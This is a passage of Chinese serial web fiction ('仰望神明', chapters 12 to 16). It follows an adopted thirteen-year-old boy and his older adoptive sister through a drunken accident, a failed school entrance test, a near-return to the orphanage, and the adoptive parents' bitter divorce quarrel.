他路过湖泊，湖面上的鸭子朝他呱呱叫，树上还有小松鼠跳来跳去，一切都很鲜活富有生命力，是个很养人的风水宝地。
毫不夸张的说，从大门到家门口，走路都要花五分钟，沈知逸脚腕都有点疼了，走起路来有点一瘸一拐的。
西装男人快步走到他前面，蹲下来，双手背到身后接着。
“走累了吧，我背你，你脚上旧伤可能还没有完全康复。”
沈知逸受宠若惊，连忙摇头。
终于走到家门口，女菲佣提前打开门，将手足无措，东张西望的沈知逸迎了进去，圆润的脸上笑容慈爱。
“
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小知逸，饿了吧？马上就要吃饭咯。”
女菲佣的热情让沈知逸招架不住，他脸颊以一种肉眼可见的速度迅速涨红，脑子里一片空白，愣愣地点了点头。
房子里还有四个女菲佣，有的在摆餐具，有的在打理插花，厨房里还有几个在忙着做晚饭。鲜香味飘出来，沈知逸肚子叫了一声。
他迅速用手捂住，低下脑袋，不料被耳朵尖的菲佣发现，叫他去看会电视，很快给他端上来了一盘不占肚子的小甜点。
到吃饭时间，黎母从楼上下来。
沈知逸看到她，立刻放下盘子和叉子，伸出舌尖舔掉嘴角的奶油，双手放前面绞在一起，抬头看着她，眼睛漆黑清澈，无措的情绪一览无遗。
黎母面无表情，瞥了他一眼，就着菲佣给她拉椅子坐下来，自顾自地拿起筷子吃饭。
“你爸爸去国外出差了，明天才回来，就我们三个人吃饭，吃吧，吃完早点休息。”
态度不好不坏，沈知逸摸不清她的脾气，干脆听她的话，坐下来吃饭。
女菲佣端上菜：“要不要打个电话给娜娜，问问她快到家了没有？”
黎母说：“打吧，难得一起吃顿饭，她还迟到，叫她快点过来。”
“好。”
女菲佣去拿手机，一阵系统铃声过后，视频电话被接通，那头传来震耳欲聋的摇滚乐和男女的欢呼声。
黎母脸色一沉。
女菲佣想捂手机已经来不及了，胆战心惊地走到窗口，弯着腰小声问：“娜娜，你什么时候回来吃饭呀，夫人和弟弟都等着你呢。”
黎娜在酒吧里，各种颜色的灯光闪到她脸上，忽明忽暗，屏幕一直在晃，她又蹦又跳，乌黑的卷发飘起又落下。
接到电话后，黎娜退出人群，找了个地方坐下，拿了杯鸡尾酒喝。
“弟弟？沈知逸回来了？”
正在吃饭的沈知逸听到自己的名字，脊背瞬间僵硬了。
女菲佣说：“对呀，都等着你吃饭呢，你什么时候回来呀？”
“别等我了，你们先吃吧，我已经吃过了。”
黎娜放下酒杯，看到屏幕里，女菲佣后面有一抹小小的背影，正乖巧的坐在椅子上吃饭，那样子真可爱呀，她忍不住笑了一下，被酒液浸染的嘴唇亮晶晶的。
“叫沈知逸过来呀，好久没见了。”
沈知逸被饭呛了一口，咳嗽几声，赶忙咽下嘴里的食物。他放下勺子，装作什么都没有听到，但已经做足了准备等女菲佣过来叫他。
脚步声由远及近，女菲佣的鞋跟踩在地上，像踩在他心尖上，心脏一颤一颤的，肢体仿佛生锈了，越来越僵硬，他很煎熬。
终于，女菲佣在他身后站定，脚步声停止，他被剧烈跳动的心脏撞得浑身发颤，喉咙发紧，呼吸全乱。
“知逸，你姐姐想你了，跟我去窗口跟她说两句话吧。”
怕惹恼黎母，女菲佣弯下腰在他耳边小声说道。
沈知逸立刻站起来，眼前一阵眩晕，脑袋里循环播放着那句“你姐姐想你了”。
他跟着女菲佣去窗口。
13. 仰望神明
窗户开着一条缝，寒风裹挟着雾气钻进来，扑灭了房内的干热，带来冰冷潮湿的微风。
沈知逸站在窗前，举着手机，让摄像头和自己平齐，屏幕里的他端正得仿佛在拍证件照，脸上表情严肃，乌黑的大眼睛眨了一下，睫毛如蝴蝶煽动翅膀。
看他这幅“老气横秋”的小大人样子，黎娜没忍住发出一声笑，凑近屏幕。
“晚上吃的什么？”
沈知逸不知道那些菜名字，就说：“好吃的。”
黎娜又笑起来了，她嗓音被烈酒浸染，笑声低沉而有磁性，加上她此刻有些微醺，脸红红的，眼睛又黑又湿，迷离地望着他，目光专注且坚定，眼里只有他一个人。
黎娜年纪比他大十一岁，相对于他来说，黎娜是个很成熟的姐姐，但是她醉醺醺的样子……竟然有些可爱，像某种毛茸茸的小动物。
沈知逸眸光闪动，默默移开视线，如果小黑狗在，他想把小黑狗塞进衣服里，狠狠地揉进怀里。
“小知逸，等你长大了，就能陪姐姐一起喝酒咯。”
黎母“啪”的一声，把筷子拍到桌子上，朝沈知逸的方向怒吼：“你还想带他喝酒？家里有你一个酒鬼还不够？！”
黎娜也吼回去：“我就喝怎么啦！我要喝十斤！晚上回去全吐你床上！呕呕呕！”
沈知逸拼命憋笑。
视频通话里，伸过来一个带着名表的男人手臂，他给了黎娜一杯酒，凑过来，和黎娜一起出现在了屏幕里，是个很年轻的男人，寸头长出来一点头发，被漂成白色，嘴上带着唇环，笑起来又痞又坏。
沈知逸不用憋笑了，因为已经笑不出来了。
唇环男人搂着黎娜的肩膀，指着屏幕里的沈知逸。
“娜娜宝贝，这是谁啊？哦！我的老天爷啊！他不会是你的儿子吧！啊啊啊啊！你竟然背着我……”
黎娜拍开他戳在屏幕上的手指：“死一边去，别挡着我弟弟。”
“这是你弟弟？你妈不就生了你一个？”
“领养的。”
“哈？”唇环男大惊失色，又在下一秒冷静下来，笑嘻嘻地跟沈知逸打招呼，“嗨，小弟弟，你好呀，我是你姐姐的男朋友哦。”
沈知逸冷着脸，按掉电话，把手机还给女菲佣，回餐厅吃饭去了。
看着被挂掉的视频通话，黎娜有一瞬的懵逼，然后照着唇环男的寸头就是一巴掌。
“你脑子有病！你什么时候成我男朋友了！”
没有头发的保护，唇环男结结实实地挨了一巴掌，脑袋里的脑子都晃了几下，委屈巴巴地望着黎娜。
“开个小玩笑嘛，你还真打我！”
黎娜用力拧他的胳膊：“就打你，打死你！”
唇环男坐在沙发上扭来扭去，躲避黎娜的攻击，嘴里发出凄厉的尖叫声：“家暴啦！救命啊！”
黎娜都气笑了，笑得都没力气打他了。
凌晨两点，黎娜被朋友送回家。
她人都站不住，扶着墙，一滩烂泥似的，走了两步，啪叽摔到地上，像条蚯蚓一样往前蛄蛹爬行。
女菲佣们听到动静，纷纷从房间里出来，将地上的“不明生物”包围起来。
“天哪！娜娜你喝了多少！”
“一身酒臭！赶紧带她洗个澡，换身干净衣服！”
黎娜一米七六，比女菲佣们都高，她胳膊长腿也长，又高又瘦，重心不稳，女菲佣们全上阵才能把她扶起来走路。
楼上主卧门打开，黎母一声狮吼：“谁都别管她！让她醉死！”
女菲佣们面面相觑，深知黎母脾气大不好惹。
她们不敢不从，轻轻将黎娜放回地上，一步三回头地走了。
卧室内，沈知逸睁开眼睛，听着楼下没有动静了，他在床上翻来覆去近十分钟，最后实在忍不住掀开被子下床，去楼下。
这座房子远离城市，没有一丝灯光透进来，只有从云里钻出的月亮，散发着微弱的白光，照在黎娜白皙的脸上，睫毛落下一片阴影。
沈知逸找到她，在她面前蹲下身来，伸出手指戳了戳她的脸。
她没有反应。
沈知逸又晃了晃她。
她皱着眉头，发出一声痛苦的呻/吟。
沈知逸来到她后面，蹲下来，把她肩膀扶起来一点，双手穿过她的腋下，拖着她往其中一个房间走。
黎娜膝盖磕到椅子腿上，很痛，她猛地睁开眼睛，看到有一个黑影拖着她，不知道要把她拖到哪里去。
她酒还没醒，记忆还停留在酒吧里，以为自己要被捡尸了，猛地抬腿朝上一踢，鞋尖正中沈知逸的后脑勺。
沈知逸换单手，捂着脑袋发出一声痛呼，他还维持着身体前倾的姿势，有些站立不稳，单薄瘦弱的身体晃了几下。
黎娜一个翻身，挣开沈知逸的手，握紧拳头挥过去，带起一阵劲风，狠厉地砸到沈知逸脸上。
沈知逸甚至都没看清她的动作，脸上就挨了一拳，口腔皮肤被牙齿磨破，嘴里漫开一股铁锈味，还没从这一拳中缓过来，衣领又被她拽住，眼看她手指蜷紧，已握成拳头蠢蠢欲动。
恐惧一瞬间达到巅峰，沈知逸捂住又痛又麻的脸颊，不停地往后推，试图挣开她的桎梏却无济于事。他浑身颤抖，出声喊她。
“姐……姐姐……”
少年还没有进入变声期，声音还带着小孩的清脆稚气，在寂静黑暗的夜里显得极为清晰。
黎娜仿佛被人当场泼了一盆冷水，意识清醒了不少，目光透过黑暗聚焦到面前的男孩身上。
男孩脸色惨白，漆黑清澈的眼睛在月光下泛着光，眼里充满了对她的恐惧，连身体都在发抖。
黎娜眉心一皱，握紧的拳头悄然松开，拍了两下脑袋，凶神恶煞地瞪向沈知逸。
“回去睡觉，别过来烦我！”
被她这么一吼，沈知逸眼里摇摇欲坠的泪水瞬间溢出来。
他低下头，用袖子擦了下眼睛，不敢再看黎娜了，转身跑上楼。
黎娜胃里翻滚，一阵火热从胃里涌向喉咙，她手在地上乱摸找垃圾桶，没有找到，嘴巴已经不受控制地张大，喉咙打开，她干脆一低头吐了个干干净净。
还好，刚才把沈知逸骂跑了，不然看到她这个丢人的样子，她这个姐姐的威严还怎么立起来。
黎
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娜吐完，爬到一个没有呕吐物的干净地方，眼一闭就睡着了。
到了早上，太阳出来。
女菲佣把黎娜喊醒。
黎娜差点被自己臭死，一头扎进浴室里来了个全身净化。等出来的时候，她已经变得香喷喷的，连每一根头发丝都是精致的。
女菲佣把早饭端上餐桌，黎娜拿起面前的蜂蜜水喝了半杯。
黎母下楼，坐到餐桌前，冷冷地看了她一眼。
“酒醒了？”
黎娜双眼失焦：“没有啊，头好痛，要爆炸了……”
“你活该。”黎母一看她这死样子就来气，把视线移到面前的食物上，吩咐女菲佣，“你去看看知逸醒了没有，叫他下来吃饭。”
“好。”
女菲佣正打算往楼上走，黎娜放下筷子，站起身来，扬声道：“我去叫吧，省得我坐在这碍你的眼，影响你的食欲。”
黎母气不打一处来，用眼睛狠狠剜着她的背影。
女菲佣给黎娜指了个方向：“知逸的房间在那里。”
黎娜拖腔带调：“OK，OK。”
她走到二楼，在沈知逸房间门口停下，抬手敲了两下，吊儿郎当地喊着：“沈知逸，出来吃饭。”
里面没有动静。
黎娜加重音量：“沈知逸，出来吃饭！”
里面传来由远及近的脚步声，黎娜后退了一些，垂眸看着门把被按到下面，门打开了。
沈知逸穿着白长袖黑裤子，长着冻疮的脚趾瑟缩在拖鞋里，低着头，没有看黎娜一眼，匆匆从她身旁绕过，快步下楼。
黎娜挠头，跟上他的步伐，犹豫了几秒还是开口说道：“沈知逸，我昨天晚上是不是看见你了？”
走在前面的沈知逸闷闷地“嗯”了一声。
黎娜腿长，短短几步就能追上他。
为了跟她拉开距离，沈知逸只能走得更快。在下旋转楼梯的时候，他拖鞋里的脚一滑，整个人失去重心朝前扑去。
黎娜眼疾手快，握住了他的胳膊，用力掐了一下。
“沈知逸，你也太瘦了吧，就这么点肉，像个螳螂一样。”
沈知逸侧开脸，用后脑勺对着黎娜，没反驳，顺着她的话点头，将胳膊从她手里抽离出来，匆忙下楼。
黎娜这才意识到不对劲。
到餐厅，沈知逸坐到自己的位置，拿起筷子闷头吃饭。
路过的女菲佣看了他一眼，发出一声惊叫。
“天哪，小知逸，你的脸怎么紫了一块，昨天晚上还好好的？”
沈知逸浑身僵硬，低着头，微微抬眸，一下子对上了整个餐厅所有人探究的目光。
他喉咙瞬间被某种东西堵住，发不出声音，连呼吸都不能自主了。
黎母语气肃冷：“怎么回事？”
她声音太冰冷，以至于带上了一丝质问的意味，让沈知逸有种做错事情的慌乱感觉。
他摇了摇头，说：“不知道，早上起来就这样了。”
黎娜单手撑着下巴，心不在焉地用勺子搅拌燕麦粥，看着沈知逸红肿的眼睛，发紫的脸颊，一些关于昨晚的记忆在脑袋里慢慢变清晰。
14. 仰望神明
吃完早饭，沈知逸回到房间。
关门的时候，黎娜一条长腿伸进来，将门卡得死死的。
怕黎娜受伤，沈知逸只能打开门，放她进来。
黎娜在房间里看了一圈，发现床头柜上有几块小甜点，问沈知逸：“那不是昨天的吗？”
一般没吃完的东西，女菲佣们都会扔掉，浪费总比吃坏肚子好。
沈知逸点头。
黎娜又问：“怎么在你房间里，她们没扔掉？让你吃剩蛋糕？”
说到后面，她怒色难掩，以为沈知逸被女菲佣们欺负了。
沈知逸抠着手指头，小声说：“她们扔掉了，我从垃圾桶里捡回来的。”
黎娜震惊：“你捡回来干什么？多脏啊！”
她二话不说，拿起那几块小蛋糕丢进垃圾桶里，一回头就捕捉到沈知逸的目光。
沈知逸看着垃圾桶里的蛋糕，眼神中透露着不舍，抠手指的动作更用力了，用一种几乎让人听不到的音量嗫嚅道：“没有坏，以后没有东西吃的话，就可以吃。”
他以前吃完一顿，下一顿是什么时候就不知道了，所以捡到食物要第一时间吃饱，还要留一些保存下来，以防万一饿了没有东西吃。
但从小衣食无忧的黎娜无法理解，看到沈知逸这幅可怜巴巴的样子只觉得烦躁。
“什么叫以后没有东西吃？你在这里会一直有东西吃，不会饿着你，所以下次不要再去捡垃圾了，很脏，吃了对身体不好！”
沈知逸垂下眸子，睫毛盖住眼睛，发白的嘴唇微微抿住，透着几分脆弱，他一句话都不说，低着头特别乖巧。
看他这幅样子，黎娜的良心又受到谴责了。
她刚才语气太凶了，小孩子的心思敏感，稍不留意就会伤害到他的自尊心。童年留下的创伤，会影响一个人很久的。
黎娜深吸口气，朝沈知逸走过去。
沈知逸低着头，感觉到她的靠近，沉默着往后退，跟黎娜要打他似的。
黎娜加快步伐，走到他面前，手朝他发紫的脸颊伸过去。
沈知逸立刻撇开脸，后退一步。
黎娜手指顿了一下，慢慢垂下来，看着他。
“对不起，昨天晚上不小心误伤你了，是不是很疼？”
她目光担忧，充满了自责。
本来觉得被她打也没什么，就是有点害怕和难过而已。可是现在黎娜问他“是不是很疼”，他眼睛就控制不住地发红了，泪水从眼底溢上来，还是觉得有些委屈，而且刚才黎娜还很凶地对他说话，明明昨晚还打了他，他什么都没说，她还凶他。
他脸上划过两道泪痕，很想用袖子擦掉，可是擦眼睛不就让黎娜发现他哭了吗，虽然不擦也会被发现，但是此刻不管做什么动作，他都觉得难为情，丢人。
他想走，刚迈出一小步，身后伸过来两条手臂，环紧他的身体。
女人的卷发垂落下来，发尖挠痒他的侧脸，他又闻到了那股甜甜的花香味，后背传来一抹属于她身体的触感，暖暖的，柔软的，几乎能听到她的呼吸频率。
好近……
真的好近……
黎娜拥抱着他，姿势看上去很亲近，实际上隔了些距离，是一种长辈安慰晚辈的拥抱。在不同性别之下，分寸拿捏得刚刚好。
“对不起，是姐姐错了，原谅姐姐好吗？”
她声音特别温柔，带着愧疚和乞求，仿佛不是在道歉，而是在撒娇。
沈知逸眼泪停顿在脸上，整个人被定住了似的，呼吸都停止了。黎娜的声音钻入他耳朵深处，挠得他心脏发痒。
他当然会原谅黎娜。
他甚至愿意为了这个拥抱，每天晚上让黎娜打他一拳。
“原谅我，行不行？”
“沈知逸，我真的不是故意的。”
黎娜抱着他晃了晃。
眼里不再有新的泪水产生，沈知逸眼前恢复了清明，他嘴角翘起一个小弧度，轻轻地点头“嗯”了一声。
黎娜瞬间喜笑颜开，松开沈知逸，把他转过来，弯下腰仔细看他的脸，眼里满是心疼。
“好严重，肯定很痛吧，都怪我，我去拿喷雾，你坐着等我一会。”
黎娜跑下楼，不到一分钟又跑回来了，手指拿着一瓶活血化瘀的喷雾，半蹲在沈知逸面前。
“这个药的味道有点臭，不过效果很好。”
黎娜抬起他的下巴，调整好喷射角度避开眼睛，对着他发紫的脸颊喷了一下，很凉，之后又开始发热。
不管黎娜怎么变换角度，沈知逸的目光都一直追随着她，看她小心翼翼给他喷药，看她手法温柔给他按摩淤伤，看她心疼懊恼，恨不得受伤的人是自己。
怎么会这么可爱呢……
明明遇见过那么多年纪跟她一样的女生，但为什么就觉得她一个人可爱呢……
真的好可爱啊……
黎娜站起来，两条腿都麻了，见沈知逸目光呆滞地看着别处，脑袋里不知道在想些什么，她伸手在他眼前晃了晃。
沈知逸回过神来，目光聚焦到她脸上。
黎娜说：“昨天我给你买了点小东西，想不想去看看？”
沈知逸微微睁大眼睛，短暂的惊诧过后，用力地点了点头。
黎娜牵着他的袖子下楼。
她随手乱丢的包，已经被女菲佣捡起来放到沙发上了。
黎娜从包里取出一卷贴纸，一副毛茸茸的手套，还有几支药膏。她先拿起贴纸，拉着沈知逸走到一处墙边，叫女菲佣拿把尺子过来。
女菲佣把尺子递给她：“娜娜，你这是要干什么呀？让我们来就好啦，你去睡一会儿。”
“我来吧，我想自己来。”
黎娜拉开贴纸，看了眼最低高度，叫女菲佣把尺子按到墙壁上，对接着最低高度，认真地贴好，然后叫沈知逸站过去。
沈知逸很听话，立马站过去。
黎娜用尺子压在他头顶，他莫名想要踮脚，总觉得会被骂，但就是忍不住。
果然下一秒，黎娜轻声吼他：“别踮脚！站直！”
沈知逸立马站直，眼睛一眨不眨地看着她。她去哪，他视线就追到哪。
黎娜用尽全力憋笑
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，尽量忽视他这幅傻了吧唧的样子。
女菲佣说：“一米三九，这个身高对于十三岁的小孩来说是不是太矮了，我儿子今年上初中都一米六了。”
黎娜眉头一皱，神色不悦。
女菲佣恨不得抽自己两巴掌，赶紧补救：“我儿子发育得早，都变声了，估计就只能长到一米六了，还是晚点长好，这样生长的时间多，像咱们小知逸这样的，以后肯定能长到一米九！”
黎娜眉头舒展，忍俊不禁：“对，他才十三岁，就算长到二十岁，也有七年的生长时间，以后多给他做点含钙和维生素D的食物，每天早上晚上都温一杯牛奶给他喝。”
女菲佣连连答应，暗擦了把冷汗。
回到客厅，黎娜拿起药膏，对沈知逸说：“坐好，把手伸出来。”
沈知逸点头，坐到沙发上，朝黎娜伸出双手。
他手指又红又肿，都是冻疮，有的地方已经溃烂结痂了，晚上痒得都睡不着觉，要一直用牙齿咬解痒。
黎娜在他手上挤了很多药膏，轻轻地涂抹开来。
黎母从楼上走下来，打扮得花枝招展的，还化了妆。以前她从来不化妆的，唯一一次还是在婚礼的。
黎母说：“下午带他去看看学校吧，我已经联系好了。”
黎娜头都没抬：“行啊，也该去上学了。”
黎母看着她：“嗯，你也该去你爸公司上班了。”
黎娜：“……”
吃完午饭，黎母和黎娜带着沈知逸去学校。
是之前黎娜上过的国际学校，有小学部，初中部和高中部。黎娜那时候初三转进来，在初中部读了一年，直升高中部，又去国外念的本科研究生。
今天他们去的是小学部，操场上有很多小孩在进行课外活动。他们年纪不大，但身上穿的全是奢侈品牌，而且一点都不珍惜，弄得又脏又破，把奢侈品当做地摊货来对待。
老师带领他们参观各种教室，课外活动场所，介绍师资团队。
黎母听得很认真。
沈知逸从始至终都没有说话，默默跟在黎娜身后，低头抬眸看着操场上那些小孩，眼里有些渴望，但肢体上却是退缩的。
他从来没有和同龄人接触过。
沈知逸收回视线，看到黎娜的手朝他靠近过来，越来越近，过程似乎被拉慢了，感觉过了很久他们才触碰到对方。
黎娜慢慢握紧他的手。
沈知逸心跳加速，头顶传来她温柔的声音。
“别害怕，我们小知逸这么好，他们肯定都抢着和你做好朋友。”
她又握紧了一些，无形中给他力量。
沈知逸却没有信心。
他和那些人根本就不在同一个世界。
参观完学校，黎娜和黎母被带去休息室，沈知逸被老师单独带进了一个空教室。
讲台上有三份试卷，语文，数学和英语。
沈知逸慌了。
他没上过学，勉强能认出个一二三四。
老师察觉到他的不安，安慰道：“别紧张，题目不难的，你肯定都会写。”
15. 仰望神明
三份试卷放到沈知逸面前。
他拿着笔，无从下手。
语文和英语试卷他一个字都看不懂，数学倒是能认出数字，但是他不会算数，还有文字题，图形题。他脑袋里一片空白，无助到了极点。
休息室内，黎母喝着茶水，看向一旁玩手机的黎娜。
“你觉得这个孩子怎么样？”
黎娜划屏幕的手指一顿：“什么怎么样？”
黎母放下茶杯：“我不喜欢这个孩子，他性格太沉闷了，平时跟他说几句话，他跟吓着了似的，畏畏缩缩的，看着就窝囊，让人讨厌！”
黎娜继续刷手机：“还行吧，他挺听话懂事的。”
黎母冷笑一声，挑他的毛病：“太听话懂事的小孩，以后进入社会普遍都没什么出息。”
黎娜眉心微不可查地皱了一下，随即笑嘻嘻地看向她，一脸嘚瑟样。
“嘿嘿，我不听话不懂事，我有出息！”
黎母张口无言，恶狠狠剜了她一眼。
空气再次静默下来，黎娜继续刷手机。
黎母又道：“现在磨合期还没过，要不下午我们把他送回去，再挑一个，我还是觉得上次那个男孩子好，有心眼，知道为自己争取，成绩也不错。”
黎娜打了个哈欠，眼里噙着泪花：“随便你，又不是我领养。”
她无所谓的态度，让黎母有些诧异：“我看你们玩得挺好，还以为你们感情很深呢……”
黎娜笑了，眼睛都笑弯了，但眼神始终是冰冷的，不带有一丝感情，甚至不近人情。
她用一种很欢快的语气说：“你想太多啦，我跟谁都没有感情。”
跟谁都没有感情，跟父母也没有感情。黎母听完心里不太舒服。
看她不舒服，黎娜就爽了，上翘的嘴角就没有落下来过。
“你跟他没感情，你还对他那么好？”黎母问。
黎娜放下手机，单手拖着下巴，目光落在虚空中，嘴角维持着笑容弧度，有点漫不经心的样子。
“因为好玩啊，就像养了一条小猫小狗。”
而且沈知逸可比小猫小狗有意思多了，因为他是人，具有更加丰富的感情。
“咚咚咚——”
有人在外面敲门。
黎母说了声“进来”。
老师推开门，怀里抱着三份试卷，她扶了下眼镜，看着坐在沙发上等待结果的两个女人，一副欲言又止的样子。
黎娜从沙发上起来，走过去，拿走了老师怀里的三份试卷。
老师斟酌着用词：“这孩子可能太紧张了，没发挥好……”
黎母也走过来了，和黎娜一起看，越看下去，脸色就越难看。
三张试卷加起来，总共才考了七分，语文是照着原文题目抄的，一分没得，字还跟鬼画符一样。
数学就按照12345的数字顺序依次填空，蒙对了一分。
英语得分最高，大部分题填ABCD就好了，他也是按着字母顺序依次填下去，蒙对了六分。
黎娜抿紧嘴唇，肩膀发抖，强忍了很久，最后还是没忍住，捂着肚子大笑起来。
黎母捏着试卷，眼珠子都快瞪出来了，更加坚定了送走沈知逸的决心。
黎娜放眼望了一圈，没见到人，问老师：“沈知逸呢？”
老师说：“他还在教室里。”
黎娜去教室找他，推开门，就看到沈知逸坐在最中间的位置，低着头，在拆解组装手里的黑色水笔。
沈知逸听到开门声音，余光中看到了黎娜的身影。他没有抬头，反而将头更低下去，脸几乎要贴到课桌上。
黎娜笑容收不住，干脆不收了，走到他面前。
“不错嘛，考了七分诶，比我稍微厉害点，我那时候考了六分。”
沈知逸猛地抬起头，不可置信地望向她。
她嬉皮笑脸的，看不出真假。
沈知逸视线慢慢垂落下来，看着自己的手指头。
怎么可能，在他眼里，黎娜是这个世界上最优秀的人，不可能只考六分的，她是在安慰他。
回到休息室，没有看到黎母。
黎娜给她打了个电话，她说她在车上等他们，叫他们快点出来。
离开学校的时候，又路过那片操场，孩子们清脆稚嫩的笑声传过来，黎娜牵着沈知逸的袖子。
沈知逸低头看路，心事重重。
黎娜抬头挺胸，听到身旁传来一道低弱且很没有信心的声音。
“那我……能上这个学校吗？”
黎娜笑容温柔：“你想上这个学校吗？”
沈知逸沉默几秒：“想。”
他又说了一次：“很想。”
很想上这个学校。
很想离优秀的她近一点。
黎娜嘴角的笑容凝固了。
沈知逸还不知道自己马上就要被送回去了，他还想着上学。
不过，福利院里也有老师，沈知逸回去也能上学。
想到这，黎娜心情轻松了不少。
到学校门口，有个老奶奶推着一个插满冰糖葫芦的自行车走过来，见黎娜看了一眼，便开始大声吆喝。
“小美女小帅哥，要不要吃冰糖葫芦呀！”
听到“冰糖葫芦”这四个字，沈知逸猛地一顿，手指攥紧了衣摆。他眼睛瞪得大大的，瞳仁震颤，呼吸瞬间变得紊乱起来。
黎娜没察觉到他的异样，问他：“你要不要吃冰糖葫芦？”
沈知逸低着脑袋，浑身发抖，突然握住了黎娜的手，握得特别紧，眼中有泪水涌出来。
黎娜有些疑惑地看着他。
他声音颤抖：“不要……我不要吃……你别走……”
干燥发白的柏油马路上，落下两滴深色的圆圈水迹。
黎娜不禁愣住了。
她看向等在一旁的老奶奶，抱歉地笑了笑。
“不好意思，我家小朋友不吃冰糖葫芦，谢谢你。”
老奶奶毫不在意地摆手：“没关系的，你太客气啦。”
目光回到沈知逸身上，黎娜从包里拿出一袋纸巾，递给他。
“你怎么比小女孩儿还爱哭啊，是不是男子汉？”
沈知逸接过纸巾，点头。
“那就别哭。”
沈知逸立刻把眼泪憋回去，憋得眼睛和鼻子更红了，模样特别可怜。
黎娜忍着笑，又皱起眉头，看
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向渐渐远去的冰糖葫芦。
回到车上，气氛异常安静。
沈知逸莫名有些焦虑不安，每隔一会，就要抬头看黎娜一眼，到后面次数就越来越频繁。
黎娜没玩手机，认真地看着窗外，目光却没有聚焦，不知道在看什么。
也不是没有察觉到沈知逸的目光，但她不想接触他的视线。
她们都在等对方开口，但路上谁都没有说话。
一直到分岔路，再不说，车子就要开回家了，黎母终于忍不住开口：“不回家，去福利院。”
“好的。”
司机关掉左转向灯，继续直行。
心脏像一块吸满水的海绵，特别地沉重，黎娜轻轻地吸了口气。
沈知逸有一种不祥的预感，看看黎娜，再看看黎母，想问去福利院干什么，但是他问不出口，他心里已经隐约有了答案，怎么也不愿意去相信。
到福利院，三个人下车。
黎母手机响了，走出去几步接听电话。
沈知逸站在原地，羽绒服挂在他单薄的身上都增加不了多少重量，风一刮过来，还是晃了几下要摔倒的样子。
看到他长着冻疮的手露在外面，黎娜从包里拿出手套，想给他戴上。
指尖刚要触碰到他，他就后退一大步，迅速躲开了，抬头望着黎娜，潮湿的眼睛里带有一丝不甘和倔强。
“如果要把我送回来，为什么还要让我当你弟弟？”
黎娜心脏一沉，垂眸对上他的目光。
这是他第一次这么完整地说出了一句话，没有结巴，也没有回避她的视线，而是光明正大地看着她，质问她，以及……责怪她。
黎娜压下心头的酸意，笑容如往常般温柔，弯下腰与他平视。
“小知逸，你是不是记错了，我那时候没有让你当我弟弟，我是问你想不想当我弟弟，你自己点头答应的，我没有逼迫你哦。”
她披着那层最温柔的外皮，却将自己摘得干干净净，沈知逸这才意识到自己又被摆了一道。
原来所有大人都一样，都是满口谎言，明明他已经上过一次当了，却还是没有长记性。
“听话，把手套戴上，你的手不想要了？”
黎娜加重语气，面色也严肃不少，去捉沈知逸的手。
沈知逸这次没躲，在黎娜递手套过来的时候，他一把抢走，狠狠地扔在地上，然后背过身去，不搭理她。
黎娜扯了扯嘴角：“沈知逸，我告诉你，我脾气很不好的，你知不知道你现在这样，让我特别想揍你！”
沈知逸眼眶泛红，毫不示弱：“你揍啊！”
揍完他，还会抱他对吧……
黎娜深吸口气，有些无力：“沈知逸，你能不能听话一点？”
沈知逸已经有点哽咽了，但依然冷静地回击她。
“你是谁啊，我为什么要听的你的话？”
他像是吃了枪药，她每说一句，他都要回呛一句。
看习惯了他乖巧懂事的样子，现在看到他浑身带刺见人就扎，黎娜心里很不舒服。
她抬着下巴，垂眸看他，无形中似乎在用长辈的气势压他。
“我当然是你姐姐。”
16. 仰望神明
沈知逸说：“你很快就不是了。”
黎娜都气笑了：“只要我年纪比你大，我就永远是你姐姐。”
沈知逸背对着她，眼眶发热，沉默了很久。
明明都要抛弃他了，却还执意要当他的姐姐，她未免太贪心了。
凭什么她想做什么就做什么，而他就只能选择承受。
打完电话的黎母回来了，她脸色很差，目光呆滞，跟丢了魂一样，走到他们面前。
“我要去一趟公司，你爸有事找我。”
黎娜毫不留情地揭穿她：“你们终于要离婚了？”
黎母仿佛当头被人敲了一棍，整个人站不住似的摇晃了一下，然后恶狠狠地瞪了黎娜一眼，什么都没说，就上车了。
黎娜和沈知逸也上车。
就像是被送到断头台上，刀悬在半空中，就差砍下来了，结果突然被人叫停了，沈知逸有种劫后余生的感觉。
黎娜也莫名松了口气。
到公司，正巧碰到赶去开会的黎父，看到黎母他们，也只是温和地说了一句：“协议在我桌子上，电话里都跟你说清楚了，你签字就好。”
他说完就走。
黎母拉住他的袖子：“你逼我是不是？”
黎父说：“走法院起诉的话，你拿不到多少钱，如果按照协议离婚，能保证你接下来的日子衣食无忧。你是娜娜的妈妈，我希望你过得好。”
希望她过得好，却要跟她离婚。
黎母冷笑：“你真虚伪。”
黎父也笑了，有点无奈。
他看了眼手表：“我要去开会了，协议你签好。”
黎母问：“那孩子呢？孩子跟着谁？”
黎父边走边说：“娜娜当然是跟着我，我能给她更好的生活。”
站在角落里尽量降低存在感的黎娜挑了挑眉，她还以为自己会被当做一个皮球踢来踢去，没想到她爸竟然会要她。
黎母大步朝办公室走去。
黎娜带着沈知逸跟上。
一进办公室门，黎母拿起那份协议就砸到黎娜脸上。
黎娜没想到她会突然发疯，连躲都没躲，被砸了个正着，从脸颊穿过鼻梁到左眼，火辣辣的疼。
她想用手按压几下，以此来降低疼痛感，但是她的手突然被人握紧了。
她垂眸，看到沈知逸正抬头望着她。
清澈的眼睛藏不住感情，他的担忧是那么明显。很难想象他们刚才还闹了矛盾，他竟然还会这么担心她，难道不是应该很讨厌她？
“你是不是很疼？”沈知逸紧张地问。
黎娜摇头，神色极其冷静镇定，还知道顾及她爸的面子，第一时间把门关上，闭合百叶窗，把地上那份协议捡起来放到桌子上，同时把沈知逸护在身后，以防黎母再次发疯伤及无辜。
“你打我有什么用？就这点本事了？有种你去打那个狐狸精啊！”
不提这件事还好，一提这件事黎母就跟被踩了尾巴的猫一样，瞬间暴跳如雷，指着她的鼻子就骂：“你以为那个狐狸精是怎么来的！还不是因为她生了个儿子！我也有儿子啊！是因为谁死的，还不都是因为你！”
黎娜的气焰瞬间消下去了。
黎母已然处于崩溃状态，一边用手指狠狠戳黎娜的肩膀，一边口水喷溅。
“要不是你画那破画，你弟弟能死？你爸会跟我离婚？我现在这样全都是因为你！因为你！！”
黎母为她鼓掌，笑容狰狞：“黎娜，你可真厉害啊，联合你爸爸一起把我踢出来了，你高兴了吧，你爸爸要你都不要我！你满意了吧，你怎么不代替你弟弟去死！”
黎娜被她戳得不停后退，任由她咒骂，一句回嘴都没有，从始至终都抬着下巴，昂首挺胸地站着。
黎母气喘如牛，骂到后面声音都嘶哑了。
黎娜面色平静如湖面，透过窗外看向远方，声音轻柔。
“他死了，说明他该死。”
